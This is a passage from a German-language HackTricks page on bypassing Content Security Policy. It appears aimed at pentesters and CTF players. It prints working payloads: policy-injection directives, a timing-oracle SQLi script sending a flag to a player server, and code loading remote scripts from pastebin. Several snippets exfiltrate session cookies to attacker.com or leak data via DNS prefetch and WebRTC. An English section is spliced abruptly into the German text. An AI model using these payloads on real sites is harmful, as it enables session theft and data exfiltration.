**Forschung:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Wenn ein von Ihnen gesendeter **Parameter** innerhalb der **Deklaration** der **Richtlinie eingefügt** wird, könnten Sie die **Richtlinie** auf eine Weise ändern, die **sie nutzlos macht**. Sie könnten das Skript 'unsafe-inline' mit einem dieser Umgehungen **erlauben**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Da diese Direktive bestehende script-src-Direktiven **überschreiben wird**.\
Ein Beispiel finden Sie hier: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

Im Edge ist es viel einfacher. Wenn Sie im CSP nur dies hinzufügen können: **`;_`** würde **Edge** die gesamte **Richtlinie fallen lassen**.\
Beispiel: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

### img-src \*; über XSS (iframe) - Zeitangriff

Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
Dieses Mal können Sie das Opfer dazu bringen, eine Seite unter **Ihrer Kontrolle** über **XSS** mit einem `<iframe` zu **laden**. Dieses Mal werden Sie das Opfer dazu bringen, die Seite zu öffnen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie die **Ladezeit der Seite steuern können**, können Sie die benötigten Informationen extrahieren.

Dieses Mal wird eine **Flagge** extrahiert, immer wenn ein **Zeichen richtig geraten** wird über SQLi, dauert die **Antwort** aufgrund der sleep-Funktion **länger**. Dann können Sie die Flagge extrahieren:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>
```
### Über Bookmarklets

Dieser Angriff würde einige soziale Manipulationen implizieren, bei denen der Angreifer den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen. Dieses Bookmarklet würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, wodurch die CSP umgangen wird und das Stehlen sensibler Informationen wie Cookies oder Tokens ermöglicht wird.

Für weitere Informationen [**überprüfen Sie den Originalbericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### CSP-Umgehung durch Einschränkung der CSP

In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird die CSP umgangen, indem in einem erlaubten iframe eine restriktivere CSP eingefügt wird, die das Laden einer bestimmten JS-Datei verhindert, die dann über **Prototyp-Verschmutzung** oder **DOM-Überlagerung** das Missbrauchen eines anderen Skripts ermöglicht, um ein beliebiges Skript zu laden.

Sie können die CSP eines Iframes mit dem **`csp`**-Attribut **einschränken**:

{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}

In [**diesem CTF-Writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) war es durch **HTML-Injection** möglich, eine **CSP weiter einzuschränken**, sodass ein Skript, das CSTI verhindert, deaktiviert wurde und somit die **Schwachstelle ausnutzbar wurde.**\
CSP kann durch Verwendung von **HTML-Meta-Tags** restriktiver gestaltet werden und Inline-Skripte können deaktiviert werden, **indem der Eintrag entfernt wird**, der ihre **Nonce** zulässt, und **spezifische Inline-Skripte über sha aktiviert werden**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS Exfiltration mit Content-Security-Policy-Report-Only

Wenn es dir gelingt, den Server mit dem Header **`Content-Security-Policy-Report-Only`** und einem **von dir kontrollierten Wert** antworten zu lassen (vielleicht aufgrund eines CRLF), könntest du ihn dazu bringen, auf deinen Server zu verweisen. Wenn du den **JS-Inhalt**, den du exfiltrieren möchtest, mit **`<script>`** umschließt und da `unsafe-inline` höchstwahrscheinlich nicht durch die CSP erlaubt ist, wird dies einen CSP-Fehler auslösen und ein Teil des Skripts (der die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.

Für ein Beispiel [**siehe dieses CTF-Writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Offenlegung von Informationen mit CSP und Iframe

* Es wird ein `iframe` erstellt, das auf eine URL verweist (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
* Diese URL leitet dann auf eine geheime URL um (z. B. `https://usersecret.example2.com`), die **nicht** von CSP erlaubt ist.
* Durch das Abhören des `securitypolicyviolation`-Ereignisses kann die `blockedURI`-Eigenschaft erfasst werden. Diese Eigenschaft gibt die Domain der blockierten URI preis und gibt somit die geheime Domain preis, zu der die ursprüngliche URL umgeleitet wurde.

Interessant ist, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit Iframes im Hinblick auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund von undefiniertem Verhalten führen kann.

Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um das geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um bestimmte Domains einzuschließen, die absichtlich blockiert sind. Wenn das geheime Subdomain beispielsweise aus unbekannten Zeichen besteht, können Sie iterativ verschiedene Subdomains testen, indem Sie die CSP-Richtlinie ändern, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Ausschnitt, der zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Durch Überwachung, welche Anfragen vom CSP blockiert oder zugelassen werden, kann man die möglichen Zeichen in der geheimen Subdomain eingrenzen und letztendlich die vollständige URL aufdecken.

Beide Methoden nutzen die Feinheiten der CSP-Implementierung und des Verhaltens in Browsern aus, um zu zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.

Trick von [**hier**](https://ctftime.org/writeup/29310).

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Welt des Hackens durch Echtzeitnachrichten und Einblicke auf dem Laufenden

**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

## Unsichere Technologien zum Umgehen von CSP

### PHP-Antwortpufferüberlastung

PHP ist dafür bekannt, die Antwort standardmäßig auf **4096** Bytes zu puffern. Daher, wenn PHP eine Warnung anzeigt, indem ausreichend Daten in den Warnungen bereitgestellt werden, wird die Antwort **vor dem CSP-Header gesendet**, was dazu führt, dass der Header ignoriert wird.\
Dann besteht die Technik im Wesentlichen darin, den Antwortpuffer mit Warnungen zu füllen, damit der CSP-Header nicht gesendet wird.

Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Fehlerseite neu schreiben

Aus [**diesem Writeup**](https://blog.ssrf.kr/69) scheint es möglich gewesen zu sein, eine CSP-Schutzmaßnahme zu umgehen, indem eine Fehlerseite geladen (potenziell ohne CSP) und ihr Inhalt neu geschrieben wurde.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress

SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem Endpunkt einer Seite** ausnutzt, um **andere Endpunkte derselben Herkunft zu missbrauchen**. Dies wird erreicht, indem der verwundbare Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite zum echten Endpunkt in derselben Herkunft aktualisiert wird, den Sie missbrauchen möchten. Auf diese Weise kann der **verwundbare Endpunkt** das **`opener`**-Objekt im **Payload** verwenden, um auf den DOM des **echten Endpunkts zuzugreifen, den es missbrauchen möchte**. Weitere Informationen finden Sie unter:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}

Darüber hinaus verfügt **wordpress** über einen **JSONP**-Endpunkt unter `/wp-json/wp/v2/users/1?_jsonp=data`, der die gesendeten Daten im Ausgabewert **reflektiert** (mit der Einschränkung, nur Buchstaben, Zahlen und Punkte zu verwenden).

Ein Angreifer kann diesen Endpunkt missbrauchen, um einen SOME-Angriff gegen WordPress zu **generieren** und ihn innerhalb von `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses **Skript** geladen wird, weil es von 'self' **erlaubt ist**. Darüber hinaus und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **verwundbaren** **Callback**-Endpunkt missbrauchen, der die CSP **umgeht**, um einem Benutzer mehr Rechte zu geben, ein neues Plugin zu installieren...\
Weitere Informationen dazu, wie dieser Angriff durchgeführt wird, finden Sie unter [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## CSP-Exfiltration-Bypasses

Wenn eine strenge CSP vorhanden ist, die es Ihnen nicht erlaubt, **mit externen Servern zu interagieren**, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren.

### Location

Sie könnten einfach den Standort aktualisieren, um dem Server des Angreifers die geheimen Informationen zu senden:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta-Tag

Sie könnten eine Weiterleitung durch das Einfügen eines Meta-Tags erreichen (dies ist lediglich eine Weiterleitung, es wird kein Inhalt preisgegeben)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch

Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und für später zwischenspeichern.\
Sie können einem Browser anzeigen, einen Hostnamen vorab aufzulösen mit: `<link reol="dns-prefetch" href="something.com">`

Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
## CSP Bypass

### CSP Bypass using Untrusted Directives

Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a specific page can load. However, in some cases, the CSP can be bypassed by using untrusted directives.

#### Exploiting Untrusted Directives

When a website uses a CSP with untrusted directives, an attacker can potentially bypass the policy by injecting a payload that is executed in a context where the CSP is not enforced. This can be achieved by finding a way to load external resources or execute inline scripts that are not covered by the CSP directives.

#### Example

For example, if a website has a CSP that allows scripts only from `'self'` and `'cdn.example.com'`, an attacker may be able to bypass the policy by injecting a script that loads a malicious payload from a different domain not covered by the CSP.

### Mitigation

To prevent CSP bypass using untrusted directives, web developers should carefully review and restrict the directives included in their CSP headers. Avoid using wildcard directives like `*` and limit the sources from which scripts, stylesheets, and other resources can be loaded to trusted domains only.

By following best practices for CSP configuration and regularly testing for bypass vulnerabilities, web developers can enhance the security of their web applications and protect against code injection attacks.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Um dies zu vermeiden, kann der Server den HTTP-Header senden:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Anscheinend funktioniert diese Technik nicht in headless Browsern (Bots).
{% endhint %}

### WebRTC

Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie des CSP nicht überprüft**.

Tatsächlich können Informationen durch eine _DNS-Anfrage_ _geleakt_ werden. Schau dir diesen Code an:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
Eine weitere Option:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
## Überprüfung von CSP-Richtlinien online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Automatisches Erstellen von CSP

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Referenzen

* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

​

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

**Hacking Insights**\
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

**Echtzeit-Hack-News**\
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden

**Neueste Ankündigungen**\
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

**Treten Sie uns bei** auf [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

<details>

<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.

</details>